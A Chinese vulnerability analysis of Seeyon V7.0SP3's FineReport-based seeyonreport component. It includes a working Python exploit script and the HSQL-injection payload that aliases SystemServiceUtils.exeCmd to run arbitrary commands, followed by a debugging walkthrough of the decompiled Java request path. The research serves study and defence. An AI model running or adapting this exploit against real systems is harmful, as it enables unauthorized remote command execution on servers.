致远V7.0SP3历史漏洞分析
致远V7.0SP3基于seeyonreport(帆软报表v9)的历史漏洞分析
漏洞来源
https://xz.aliyun.com/news/10512
方便调试分析,编写出脚本:
import requests
import re
import json
import sys
# -----------------------------
# 检查命令行参数
# -----------------------------
if len(sys.argv) != 2:
print(f"用法: python {sys.argv[0]} <命令>")
exit(1)
cmd_to_run = sys.argv[1]
print(f"[*] 将执行命令: {cmd_to_run}")
# -----------------------------
# 配置部分
# -----------------------------
host = "http://192.168.49.131/seeyonreport"
report_server = f"{host}/ReportServer"
# -----------------------------
# 1. 获取 sessionID (r0)
# -----------------------------
r0_url = f"{report_server}?op=fr_log&cmd=fg_errinfo&fr_username=admin"
print("[*] 请求 r0 获取 sessionID...")
resp = requests.get(r0_url, verify=False)
print("Status:", resp.status_code)
# 提取 sessionID
session_match = re.search(r'sessionID=([0-9A-Za-z\-]+)', resp.text)
if not session_match:
print("[-] 没有找到 sessionID")
exit(1)
session_id = session_match.group(1)
print("[+] 提取到 sessionID:", session_id)
# -----------------------------
# 2. 发起 parameters_d (r1)
# -----------------------------
r1_url = f"{report_server}?op=fr_dialog&cmd=parameters_d&sessionID={session_id}&fr_username=admin"
payload = {
'__parameters__': json.dumps({
"LABEL1": "TYPE:",
"TYPE": f'6;CREATE ALIAS RUMCMD FOR "com.fr.chart.phantom.system.SystemServiceUtils.exeCmd";CALL RUMCMD(\'{cmd_to_run}\');select msg, trace, sinfo, logtime from fr_errrecord where 1=1',
"LABEL3": "START_TIME:",
"START_TIME": "2020-08-11 00:00",
"LABEL5": "END_TIME:",
"END_TIME": "2020-08-11 16:41",
"LABEL7": "LIMIT:",
"LIMIT": 2
})
}
print("[*] 请求 r1 parameters_d ...")
resp = requests.post(r1_url, data=payload, verify=False)
print("Status:", resp.status_code)
# -----------------------------
# 3. GET 访问 page_content (r2)
# -----------------------------
r2_url = f"{report_server}?_=op=page_content&sessionID={session_id}&pn=1"
print("[*] 请求 r2 page_content ...")
resp = requests.get(r2_url, verify=False)
print("Status:", resp.status_code)第一步是为了获取 sessionID 为后两步需要 id 的接口做准备。
第二步是相当于是为了保存配置。
第三步是真正触发点。
r0
r0 请求是通过访问 /seeyonreport/ReportServer?op=fr_log&cmd=fg_errinfo&fr_username=admin,从返回包中获取 sessionID。
经过之前整体的分析,我们直接定位 fr_log。

可以找到 com.fr.web.core.A.DC 类。
public class DC extends NoSessionIDService {
private ActionNoSessionCMD[] A = new ActionNoSessionCMD[]{new CE(), new jB(), new TA(), new pA(), new QC(), new wD(), new j(), new TB(), new AD(), new VB(), new vD()};
public DC() {
}
public String actionOP() {
return "fr_log";
}
public void process(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {
PrivilegeManagerProvider var4 = PrivilegeManager.getProviderInstance();
String var5 = NetworkHelper.getHTTPRequestParameter(var1, "fr_username");
if (!StringUtils.isEmpty(var5) && ComparatorUtils.equals(var5, var4.getRootManagerName())) {
WebActionsDispatcher.dealForActionNoSessionIDCMD(var1, var2, this.A);
} else {
throw new RuntimeException(Inter.getLocText("FR-Engine_No_Priviledege"));
}
}
}这里继承了 NoSessionIDService,顾名思义不需要 SessionID 的服务。
首先创建了一个数组存储了无 session 服务的命令对象,然后设置 op=fr_log。
再是核心方法 process,可以看到有一个鉴权通过传入的参数 fr_username,判断是否和 getRootManagerName() 得到的值相等,然后再是将请求分发到命令数组执行对应命令。
跟进 dealForActionNoSessionIDCMD 方法。
public static void dealForActionNoSessionIDCMD(HttpServletRequest var0, HttpServletResponse var1, ActionNoSessionCMD[] var2) throws Exception {
String var3 = WebUtils.getHTTPRequestParameter(var0, "op");
String var4 = WebUtils.getHTTPRequestParameter(var0, "cmd");
String var5 = WebUtils.getHTTPRequestParameter(var0, "pid");
ExtraClassManagerProvider var6 = (ExtraClassManagerProvider)PluginModule.getAgent(PluginModule.ExtraCore);
RequestCMDReceiver var7 = null;
if (var6 != null) {
var7 = var6.getActionCMD(var3, var4, var5);
}
if (var7 != null) {
var7.actionCMD(var0, var1);
} else {
ActionNoSessionCMD[] var8 = var2;
int var9 = var2.length;
for(int var10 = 0; var10 < var9; ++var10) {
ActionNoSessionCMD var11 = var8[var10];
String var12 = var11.getCMD();
if (var12.equalsIgnoreCase(var4)) {
var11.actionCMD(var0, var1);
return;
}
}
}
}遍历 var2 数组 → DC 的 A 数组,调用 getCMD() 匹配请求的 cmd 参数。
我们还可以跟进 PrivilegeManager.getRootManagerName() 去看看。

![]()
返回的是 admin,也就是我们 poc 中看到传入的值,证明这个 poc 是事先需要知道 rootManagerName 才能进行攻击。
接着我们定位 fg_errinfo。

去看 com.fr.web.core.A.AD。
public class AD extends ActionNoSessionCMD {
public AD() {
}
public void actionCMD(HttpServletRequest var1, HttpServletResponse var2) throws Exception {
ReportletDealWith.dealWithEmbeddedReportlet(var1, var2, ReportletUtils.createEmbeddedReportlet("/com/fr/web/log/logerr_info.cpt", ActorFactory.getActor("nopage"), Collections.EMPTY_MAP));
}
public String getCMD() {
return "fg_errinfo";
}
}这里有一个文件路径,它其实是一个 xml 文件,是 FineReport 的报表模板文件(WorkBook)。里面配置了一个工作表(WorkSheet),数据源(TableData),单元格布局,参数面板等等。



根据对应的文件返回了一个 EmbeddedTplReportlet 对象,可以来看看这个文件。
<?xml version="1.0" encoding="UTF-8"?>
<WorkBook xmlVersion="20110221">
<TableDataMap>
<TableData name="程序1" class="com.fr.data.impl.ClassTableData">
<ClassTableDataAttr className="com.fr.report.log.Err2RecordDBTableData"/>
</TableData>
</TableDataMap>
<Report class="com.fr.report.WorkSheet" name="sheet1">
<ReportPageAttr>
<HR F="0" T="2"/>
<FR/>
<HC/>
<FC/>
</ReportPageAttr>
<RowHeight defaultValue="723900">
<![CDATA[723900,723900,723900,1143000,1028700,723900,723900,723900,723900,723900,723900]]></RowHeight>
<ColumnWidth defaultValue="2743200">
<![CDATA[838200,4533900,9258300,23088600,7581900,3505200,2743200,2743200,2743200,2743200,2743200]]></ColumnWidth>
<CellElementList>
<C c="0" r="0" s="0">
<Expand/>
</C>
<C c="1" r="0" cs="4" rs="2" s="1">
<O>
<![CDATA[报表错误记录查询]]></O>
<Expand/>
</C>
<C c="0" r="1">
<Expand/>
</C>
<C c="1" r="2" cs="2">
<O t="Formula" class="Formula">
<Attributes>
<![CDATA[="最大预览行数 : " + $LIMIT]]></Attributes>
</O>
<Expand/>
</C>
<C c="1" r="3" s="2">
<O>
<![CDATA[时间]]></O>
<Expand/>
</C>
<C c="2" r="3" s="2">
<O>
<![CDATA[错误信息]]></O>
<Expand/>
</C>
<C c="3" r="3" s="2">
<O>
<![CDATA[错误路径]]></O>
<Expand/>
</C>
<C c="4" r="3" s="2">
<O>
<![CDATA[错误来源信息]]></O>
<Expand/>
</C>
<C c="1" r="4" s="3">
<O t="DSColumn">
<Attributes dsName="程序1" columnName="LOGTIME"/>
<Complex/>
<RG class="com.fr.report.cellElement.core.FunctionGrouper">
<Attr divideMode="1"/>
</RG>
<Parameters/>
</O>
<HighlightList>
<Highlight class="com.fr.report.highlight.DefaultHighlight">
<Name>
<![CDATA[条件属性1]]></Name>
<Condition class="com.fr.data.condition.FormulaCondition">
<Formula>
<![CDATA[row() % 10 == 0]]></Formula>
</Condition>
<HighlightAction class="com.fr.report.highlight.PageHighlightAction">
<P i="1"/>
</HighlightAction>
</Highlight>
</HighlightList>
<Expand dir="0"/>
</C>
<C c="2" r="4" s="3">
<O t="DSColumn">
<Attributes dsName="程序1" columnName="MSG"/>
<Complex/>
<RG class="com.fr.report.cellElement.core.FunctionGrouper"/>
<Parameters/>
</O>
<Expand dir="0"/>
</C>
<C c="3" r="4" s="3">
<O t="DSColumn">
<Attributes dsName="程序1" columnName="TRACE"/>
<Complex/>
<RG class="com.fr.report.cellElement.core.FunctionGrouper"/>
<Parameters/>
</O>
<Expand dir="0"/>
</C>
<C c="4" r="4" s="3">
<O t="DSColumn">
<Attributes dsName="程序1" columnName="SINFO"/>
<Complex/>
<RG class="com.fr.report.cellElement.core.FunctionGrouper"/>
<Parameters/>
</O>
<Expand dir="0"/>
</C>
<C c="2" r="8">
<Expand/>
</C>
</CellElementList>
<ReportAttrSet>
<ReportSettings headerHeight="0" footerHeight="0">
<PaperSetting/>
</ReportSettings>
<Header reportPageType="0">
<Background name="NullBackground"/>
<LeftList/>
<CenterList/>
<RightList/>
</Header>
<Footer reportPageType="0">
<Background name="NullBackground"/>
<LeftList/>
<CenterList/>
<RightList/>
</Footer>
</ReportAttrSet>
</Report>
<ReportParameterAttr>
<Attributes showWindow="true" delayPlaying="true" windowPosition="1" align="1"/>
<PWTitle>
<![CDATA[参数]]></PWTitle>
<ParameterUI class="com.fr.report.parameter.CustomParameterUI">
<ReportPageAttr>
<HR/>
<FR/>
<HC/>
<FC/>
</ReportPageAttr>
<RowHeight defaultValue="723900">
<![CDATA[381000,876300,381000,723900,381000,876300,381000,723900,723900,723900,723900]]></RowHeight>
<ColumnWidth defaultValue="2743200">
<![CDATA[3048000,5334000,3048000,5334000,3048000,5334000,2743200,2743200,2743200,2743200,2743200]]></ColumnWidth>
<CellElementList>
<C c="0" r="1" s="4">
<O>
<![CDATA[TYPE:]]></O>
<Expand/>
</C>
<C c="1" r="1">
<O t="I">
<![CDATA[10]]></O>
<Widget class="com.fr.report.web.ui.ComboBox">
<WidgetName name="TYPE"/>
<WidgetAttr/>
<allowBlank>
<![CDATA[false]]></allowBlank>
<DirectEdit>
<![CDATA[false]]></DirectEdit>
<Dictionary class="com.fr.data.impl.CustomDictionary">
<CustomDictAttr>
<Dict key="10" value="全部"/>
<Dict key="0" value="执行出错"/>
<Dict key="1" value="导出出错"/>
<Dict key="3" value="页面写出出错"/>
<Dict key="4" value="文件读入出错"/>
<Dict key="5" value="文件写出出错"/>
<Dict key="6" value="其它出错"/>
</CustomDictAttr>
</Dictionary>
</Widget>
<Expand/>
</C>
<C c="2" r="1" s="4">
<O>
<![CDATA[START_TIME:]]></O>
<Expand/>
</C>
<C c="3" r="1" s="5">
<O t="Formula" class="Formula">
<Attributes>
<![CDATA[=format(today(), "yyyy-MM-dd HH:mm")]]></Attributes>
</O>
<Widget class="com.fr.report.web.ui.DateTimeEditor">
<WidgetName name="START_TIME"/>
<WidgetAttr/>
<allowBlank>
<![CDATA[false]]></allowBlank>
<DateAttr start="" end=""/>
</Widget>
<Expand/>
</C>
<C c="4" r="1" s="4">
<O>
<![CDATA[END_TIME:]]></O>
<Expand/>
</C>
<C c="5" r="1" s="5">
<O t="Formula" class="Formula">
<Attributes>
<![CDATA[=format(datetime(), "yyyy-MM-dd HH:mm")]]></Attributes>
</O>
<Widget class="com.fr.report.web.ui.DateTimeEditor">
<WidgetName name="END_TIME"/>
<WidgetAttr/>
<allowBlank>
<![CDATA[false]]></allowBlank>
<DateAttr start="" end=""/>
</Widget>
<Expand/>
</C>
<C c="0" r="3" s="4">
<O>
<![CDATA[LIMIT:]]></O>
<Expand/>
</C>
<C c="1" r="3">
<O t="I">
<![CDATA[1000]]></O>
<Widget class="com.fr.report.web.ui.NumberEditor">
<WidgetName name="LIMIT"/>
<WidgetAttr/>
<allowBlank>
<![CDATA[false]]></allowBlank>
<NumberAttr allowDecimals="false" allowNegative="false"/>
</Widget>
<Expand/>
</C>
<C c="1" r="5" cs="6" s="4">
<Widget class="com.fr.report.web.ui.impl.form.FormSubmitButton">
<WidgetAttr/>
<Text>
<![CDATA[查询]]></Text>
<Hotkeys>
<![CDATA[enter]]></Hotkeys>
</Widget>
<Expand/>
</C>
<C c="0" r="6">
<Expand/>
</C>
</CellElementList>
<ReportAttrSet>
<ReportSettings headerHeight="0" footerHeight="0">
<PaperSetting/>
</ReportSettings>
</ReportAttrSet>
</ParameterUI>
<Parameter>
<Attributes name="LIMIT"/>
<O t="I">
<![CDATA[1000]]></O>
</Parameter>
</ReportParameterAttr>
<StyleList>
<Style>
<FRFont name="SimSun" style="0" size="144"/>
<Background name="NullBackground"/>
<Border/>
</Style>
<Style>
<FRFont name="SimSun" style="0" size="144"/>
<Background name="ColorBackground" color="-16724737"/>
<Border>
<Top style="1"/>
<Bottom style="1"/>
<Left style="1"/>
<Right style="1"/>
</Border>
</Style>
<Style>
<FRFont name="SimSun" style="0" size="72"/>
<Background name="NullBackground"/>
<Border>
<Top style="1"/>
<Bottom style="1"/>
<Left style="1"/>
<Right style="1"/>
</Border>
</Style>
<Style vertical_alignment="1">
<FRFont name="SimSun" style="0" size="72"/>
<Background name="NullBackground"/>
<Border>
<Top style="1"/>
<Bottom style="1"/>
<Left style="1"/>
<Right style="1"/>
</Border>
</Style>
<Style horizontal_alignment="4">
<FRFont name="SimSun" style="0" size="72"/>
<Background name="NullBackground"/>
<Border/>
</Style>
<Style>
<Format class="java.text.SimpleDateFormat">
<![CDATA[yyyy-MM-dd HH:mm]]></Format>
<FRFont name="SimSun" style="0" size="72"/>
<Background name="NullBackground"/>
<Border/>
</Style>
</StyleList>
</WorkBook>可以看出后面应该会根据这个进行渲染,往后跟进 dealWithEmbeddedReportlet 方法。
public static void dealWithEmbeddedReportlet(HttpServletRequest var0, HttpServletResponse var1, EmbeddedTplReportlet var2) throws Exception {
String var3 = SessionDealWith.generateSessionID(var0, var1, var2);
if (var3 != null && SessionDealWith.hasSessionID(var3)) {
dealWithPageHtml(var0, var1, var3, var2.getActor());
}
}看样子是生成了一个 SessionID,然后并对其进行了验证,随后继续处理。
我们可以看看这个生成的 SessionID 是否就是漏洞利用需要的。

下断点得到 id 为 27978。

证明我们的 SessionID 确实是从这得到的,后续根据这里的生成可能可以找到其他获取 SessionID 的方法。
继续往后面跟,进入 dealWithPageHtml 方法。
private static void dealWithPageHtml(HttpServletRequest var0, HttpServletResponse var1, String var2, Actor var3) throws Exception {
ReportSessionIDInfor var4 = (ReportSessionIDInfor)SessionDealWith.getSessionIDInfor(var2);
if (var4 != null) {
if (var3 == null) {
var3 = ActorFactory.getActor(var0, var4.getActor());
}
if (WebUtils.getDevice(var0).isMobile()) {
dealWithMobile(var0, var1, var4, var3);
} else {
dealWithHtml(var0, var1, var4, var3);
}
}
}这里的 var2 就是 sessionID。SessionDealWith.getSessionIDInfor(sessionID) 会从服务端内存缓存里找到这个 ID 对应的 ReportSessionIDInfor 对象。
这个对象里保存着:模板路径 (tplPath)、模板参数(parameterMap)、当前报表的数据上下文、用户态 (Actor)等。
我们可以跟进看看这个方法。
public static SessionIDInfor getSessionIDInfor(String var0) {
if (!StringUtils.isBlank(var0) && !sessionToDelete.contains(var0)) {
synchronized(SESSION_ID_MAP_LOCK) {
return (SessionIDInfor)sessionIDMap.get(var0);
}
} else {
return null;
}
}这里判断 sessionID 是否为空并且是否在删除列表中,如果检查通过就会返回 SessionIDInfor 对象。在后面经常会用到这个方法以判断 sessionID 的有效性。
我们再回到返回包了解一下这个 sessionID。

可以看到 sessionID 被注册到前端 JS 对象里,前端提交参数时会携带 sessionID,后端通过它在内存里找到 ReportSessionIDInfor,再把参数绑定进去,这样后续渲染报表时上下文才完整。
也就是说,sessionID 就是前端和后端上下文的纽带。
继续往后走,这里总流程就是根据 sessionID 拿到报表上下文对象 → 解析当前访问者的身份 → 按设备类型输出不同版本的页面。

我们这里自然是走到 dealWithHtml。
private static void dealWithHtml(HttpServletRequest var0, HttpServletResponse var1, ReportSessionIDInfor var2, Actor var3) throws IOException {
Map var4 = var3.createContext4Tpl(var0, var2);
makeSureNotUseCacheWhenBack(var1);
String var5 = (String)var2.getParameterValue("fr_locale");
if (StringUtils.isNotEmpty(var5)) {
var4.put("__fr_locale__", var5);
} else {
var4.put("__fr_locale__", WebUtils.getHTTPRequestParameter(var0, "fr_locale"));
}
var4.put("__v__", GeneralUtils.readBuildNO());
String var6 = createScriptPlaceHolderString();
if (StringUtils.isNotEmpty(var6)) {
var4.put("PageScript", var6);
}
String var7 = createStylePlaceHolderString();
if (StringUtils.isNotEmpty(var7)) {
var4.put("PageStyle", var7);
}
if (AMDConstants.isSupportAMD()) {
var4.put("mainConfig", TemplateUtils.renderTemplate("/com/fr/web/main_config.js", var4));
var4.put("entry", TemplateUtils.renderTemplate("/com/fr/web/core/tpl/page.entry.tpl", var4));
}
try {
var3.flushHtml(var0, var1, var4, var2);
} catch (Exception var9) {
FRContext.getLogger().error(var9.getMessage(), var9);
}
}最后在 flushHtml 就进行渲染了,这一次的渲染给前端提供了 sessionID,为后续请求中 sessionID 的携带做了准备。
r1
r1 请求是 /seeyonreport/ReportServer?op=fr_dialog&cmd=parameters_d&sessionID=15378
拿到 r0 请求获取到的 sessionID,然后 post 传参
__parameters__=({"LABEL1":"TYPE:","TYPE":"6;CREATE ALIAS RUMCMD FOR \"com.fr.chart.phantom.system.SystemServiceUtils.exeCmd\";CALL RUMCMD('calc');select msg, trace, sinfo, logtime from fr_errrecord where 1=1","LABEL3":"START_TIME:","START_TIME":"2020-08-11 00:00","LABEL5":"END_TIME:","END_TIME":"2020-08-11 16:41","LABEL7":"LIMIT:","LIMIT":2}可以看到是通过 hsql 进行注入然后 rce 的。
但是直接通过这个包并不会触发,有点类似于之前的保存数据库配置,但是没有连接的地方,所以后面需要用到 r2。
直接定位 parameters_d,在 com.fr.web.core.A.PD。
public class PD extends ActionNoSessionCMD {
public PD() {
}
public String getCMD() {
return "parameters_d";
}
public void actionCMD(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {
SessionIDInfor var4 = SessionDealWith.getSessionIDInfor(var3);
if (var4 == null) {
ErrorHandlerHelper.getErrorHandler().error(var1, var2, "SessionID: \"" + var3 + "\" time out.");
} else {
HttpSession var5 = var1.getSession(false);
if (var5 != null) {
String var6 = (String)var5.getAttribute("fr_username");
if (StringUtils.isNotEmpty(var6)) {
TemplateIdAttrMark var7 = (TemplateIdAttrMark)var4.getIOFileAttrMark("TemplateIdAttMark");
if (var7 != null && StringUtils.isNotEmpty(var7.getTemplateId())) {
LogUtils.recordParamsExeRecord(var7.getTemplateId(), var1.getParameter("__parameters__"), var6);
}
}
}
DataSourcePoolProcessor var8 = (DataSourcePoolProcessor)ExtraClassManager.getInstance().getSingle("DataSourcePoolProcessor");
if (var8 != null) {
var8.clear();
}
var4.applySessionIDInforParameters(var1);
var4.clearPageSet();
var4.clearPrintPreviewPageSet();
var4.clearPerformanceInfo();
var4.removeAttribute("stash_data_imported");
WebUtils.printAsString(var2, "");
}
}
}这里先是根据 sessionID 取到了 ReportSessionIDInfor 对象。
![]()
然后就是一系列的判断了,看样子中间有个 __parameters__像是我们想要的,但其实走不到里面。

往后走尝试拿全局数据源池处理器,但也是返回 null。
后面就是对 ReportSessionIDInfor 对象的一系列操作了,我们跟进去看。
ReportSessionIDInfor.applySessionIDInforParameters。
public void applySessionIDInforParameters(HttpServletRequest var1) {
if (this.parameterMap4Execute == null) {
this.parameterMap4Execute = CalculatorMap.createEmptyMap();
}
Map var2 = WebUtils.parameters4SessionIDInfor(var1);
this.parameterMap4Execute.putAll(var2);
ProcessProvider var3 = (ProcessProvider)StableFactory.getMarkedInstanceObjectFromClass("processBridge", ProcessProvider.class);
if (var3 != null) {
this.parameterMap4Execute.putAll(var3.mixProcessParameters(var1, new ReportRepositoryDeal(var1, this)));
}
}首先看当前 parameterMap4Execute,为空就创建一个 CalculatorMap。
然后再是处理请求,我们可以跟进去看一下这个 parameter4SessionIDInfor。

它有个关键点是创建了一个 Map,然后收集了请求中的各种参数存入 Map。
var1.putAll(((RequestParameterCollector)var3).getParametersFromSession(var0));
var1.putAll(((RequestParameterCollector)var3).getParametersFromAttribute(var0));
var1.putAll(((RequestParameterCollector)var3).getParametersFromParameter(var0));
var1.putAll(((RequestParameterCollector)var3).getParametersFromJSON(var0, var1));
var1.putAll(((RequestParameterCollector)var3).getParametersFromReqInputStream(var0));- Session: 从 HttpSession 中存储的变量。
- Request Attribute: 服务器端设置的 request attribute。
- Request Parameter: URL 查询字符串或者 POST 表单。
- JSON Body: 如果请求是 JSON,解析它。
- 请求流 InputStream: 原始请求体(可用于 POST 其他格式)。
我们可以看看从 WebUtils.parameters4SessionIDInfor 返回出来的 var2。

可以看到我们熟悉的 payload。接着走将刚刚获取的 Map 存入了 this.parameterMap4Execute。也就是绑定到 session 上下文的。
ProcessProvider var3 = (ProcessProvider)StableFactory.getMarkedInstanceObjectFromClass("processBridge", ProcessProvider.class);
if (var3 != null) {
this.parameterMap4Execute.putAll(var3.mixProcessParameters(var1, new ReportRepositoryDeal(var1, this)));
}后面就是把前端请求和可选插件提供的参数合并到报表执行上下文(parameterMap4Execute)里,为后续报表处理提供统一参数,但这里 var3 看不到东西,作用应该不大。

到这可以知道我们的参数传入了 session 上下文,只需要在 r2 做查询即可触发。
r2
r2 抓包的话有一些无关的参数,能够触发的完整请求是 /seeyonreport/ReportServer?op=page_content&sessionID=15915&pn=1。
先定位 page_content 到 com.fr.web.core.A.BC。
public class BC implements Service {
private RequestCMDReceiver[] A = new RequestCMDReceiver[]{new RB(), new yD()};
public BC() {
}
public String actionOP() {
return "page_content";
}
public void process(HttpServletRequest var1, HttpServletResponse var2, String var3, String var4) throws Exception {
WebActionsDispatcher.dealForActionDefaultCmd(var1, var2, var4, this.A, "html");
}
}定义了一组命令对象,和前面类似,跟进 dealForActionDeaultCmd。

我们 dealForActionDeaultCmd 方法最后一个参数传入的是 html,这里赋值给了 cmd。
接着走进 dealForActionCMD。
public static void dealForActionCMD(HttpServletRequest var0, HttpServletResponse var1, String var2, RequestCMDReceiver[] var3, String var4) throws Exception {
String var5 = WebUtils.getHTTPRequestParameter(var0, "op");
String var6 = WebUtils.getHTTPRequestParameter(var0, "pid");
ExtraClassManagerProvider var7 = (ExtraClassManagerProvider)PluginModule.getAgent(PluginModule.ExtraCore);
RequestCMDReceiver var8 = null;
if (var7 != null) {
var8 = var7.getActionCMD(var5, var4, var6);
}
if (var8 != null) {
var8.actionCMD(var0, var1, var2);
} else {
RequestCMDReceiver[] var9 = var3;
int var10 = var3.length;
for(int var11 = 0; var11 < var10; ++var11) {
RequestCMDReceiver var12 = var9[var11];
String var13 = var12.getCMD();
if (var13.equalsIgnoreCase(var4)) {
var12.actionCMD(var0, var1, var2);
return;
}
}
}
}这一段实际上就是选择命令对象,也就是前面默认的 html。

前面数组中的 RB 则是 html 对应的命令对象。
public class RB extends ActionNoSessionCMD {
public static final String A = "html";
public RB() {
}
public void actionCMD(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {
ReportFitProcessor var4 = (ReportFitProcessor)ExtraClassManager.getInstance().getSingle("ReportFitProcessor");
if (var4 != null) {
var4.applyFitPara(var1);
}
FC.A().A(var3, var1, var2);
}
public String getCMD() {
return "html";
}
}前面一段我们之前也见过,通过 ExtraClassManager 查找插件或扩展类。

不过这里是 null,关键点在后面,继续跟进。

拿到 FC 实例,然后调用其 A 方法。
public void A(String var1, HttpServletRequest var2, HttpServletResponse var3) throws Exception {
ReportSessionIDInfor var4 = this.A(var1);
if (var4 != null) {
ReportPageProvider var5 = this.A(var2, var4);
if (var5 != null) {
var5 = var5.deriveResolution(96);
this.A(var5, var4, var2, var3);
}
}
}第一行很眼熟,其实就是通过 id 取到我们的 ReportSessionIDInfor 对象。

接着跟下面的 this.A。
protected ReportPageProvider A(HttpServletRequest var1, ReportSessionIDInfor var2) {
int var3 = WebUtils.receivePageNumber(var1);
return this.A(var1, var2, var3);
}继续跟进 receivePageNumber。
public static int receivePageNumber(HttpServletRequest var0) {
int var1 = 0;
String var2 = getHTTPRequestParameter(var0, "pn");
if (var2 != null) {
Number var3 = Utils.string2Number(var2);
if (var3 == null || (var1 = var3.intValue()) < 0) {
var1 = Integer.MAX_VALUE;
}
}
return var1;
}可以看到我们传的参数 pn 了,获取值就返回了。
继续跟 this.A。

protected ReportPageProvider A(HttpServletRequest var1, ReportSessionIDInfor var2, int var3) {
return var2.getReportPage(var3);
}根据我们传入的 pn 页码获取一个 ReportPageProvider 对象。
public ReportPageProvider getReportPage(int var1) {
synchronized(this) {
if (var1 < 1) {
return null;
} else {
this.createPageSetChain();
ReportPageProvider var3 = this.pageSetChain.getPage(var1 - 1);
if (var3 == null && this.pageSetChain.isSizePredictable()) {
var3 = this.pageSetChain.getPage(this.pageSetChain.size() - 1);
}
return var3;
}
}
}关键点就 this.createPageSetChain(); 直接一步步打断点看哪里弹出计算器就能够发现。
我们直接去寻找触发前的一步,payload 应该是一直存储在那个 session 上下文中,最后才触发,中间的大部分逻辑可以不需要再分析。
正常跟一直能到 com.fr.report.worksheet.WorkSheet 的 execute 方法。

继续跟进后就开始乱跳了,不过静态分析表达式求值,可以稍微深入一点,但此时左边的堆栈并不是准的。
最后深入到 com.fr.report.core.A.J 的 C 方法。后面再回看,调用栈如下。
